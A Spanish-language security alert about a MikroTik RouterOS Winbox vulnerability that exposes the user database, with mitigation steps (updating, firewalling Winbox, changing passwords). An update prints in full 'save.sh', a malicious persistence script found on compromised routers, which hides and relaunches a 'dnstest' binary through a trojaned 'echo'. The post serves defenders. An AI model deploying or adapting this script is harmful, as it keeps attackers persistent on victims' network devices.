Alerta de seguridad: Vulnerabilidad explotando el puerto del Winbox

En el día de hoy MikroTik ha publicado un alerta de seguridad sobre una vulnerabilidad en el RouterOS que afecta a todas las versiones desde la v6.29.

Según el alerta, indica que la vulnerabilidad ha sido descubierta por ellos mismos y que recomiendan actualizar ASAP (lo mas pronto posible).

La vulnerabilidad permite a una «herramienta especial» conectar al puerto del Winbox y poder solicitar la base de datos de los usuarios del sistema.

Para tomar una medida al respecto se recomienda:

  • Actualizar a la v6.42.1 y v6.43rc4 *Con precaución (leer mas adelante)
  • Cerrar el puerto del Winbox para el acceso publico mediante un address list y el firewall en el chain input
  • Limitar el rango de IP permitidos en ip > service > winbox a las redes locales unicamente.
  • Cambiar las contraseñas de los usuarios.

Es importante tener en cuenta que en las recientes versiones del RouterOS existe un nuevo esquema en el manejo del bridge, porque lo hay que tener ciertas precauciones al actualizar debido a que se han dado casos de actualizaciones fallidas en configuraciones que tienen bridge y utilizan el chip switch.

En caso de equipos que se encuentren en  producción y no es posible actualizar rápidamente el sistema operativo, es mandatorio que se cierre el acceso del winbox y cambiar las contraseñas de los usuarios.

Por el momento no es posible conocer o detectar que el sistema ha sido vulnerado, por lo que también se recomienda aplicar el punto anterior.

Mas información en el foro de MikroTik sobre el anuncio oficial.

ACTUALIZACION:

Algunos usuarios están reportan que detectan dos archivos dentro de files con el nombre de dnstest con contenido binario y save.sh con el siguiente contenido:

#!/bin/ash
case "$PATH" in
*/usr/local/bin*)
# old versions
dest="/usr/local/bin/"
;;
*)
dest="/flash/bin/"
if [ ! -d "/flash/" ]; then
exit 1
fi
;;
esac 

if [ -f $dest/.dnstest ]; then
rm $dest/.dnstest
fi
if [ -f $dest/echo ]; then
rm $dest/echo
fi
if [ -f $dest/.test ]; then
rm $dest/.test
fi

mkdir -p $dest

export PATH=$PATH:$dest
chmod a+x /flash/rw/pckg/dnstest
cp /flash/rw/pckg/dnstest $dest/.dnstest

echo -e "#!/bin/ash\nusleep 180000000\ncp $dest.dnstest /tmp/.dnstest\n/tmp/.dnstest*" > $dest/.test
chmod +x $dest/.test

echo -e "#!/bin/ash\n/$dest.test&\n/bin/echo \$*" > $dest/echo
chmod +x $dest/echo
/flash/rw/pckg/dnstest
rm save.sh

El intento tiene el siguiente comportamiento:

Como se observa en la siguiente captura, el primer acceso es un intento fallido del winbox, por lo que se presume que tiene el acceso a la DB de usuarios. Luego el acceso es con el usuario con permisos full.

Comportamiento de Acceso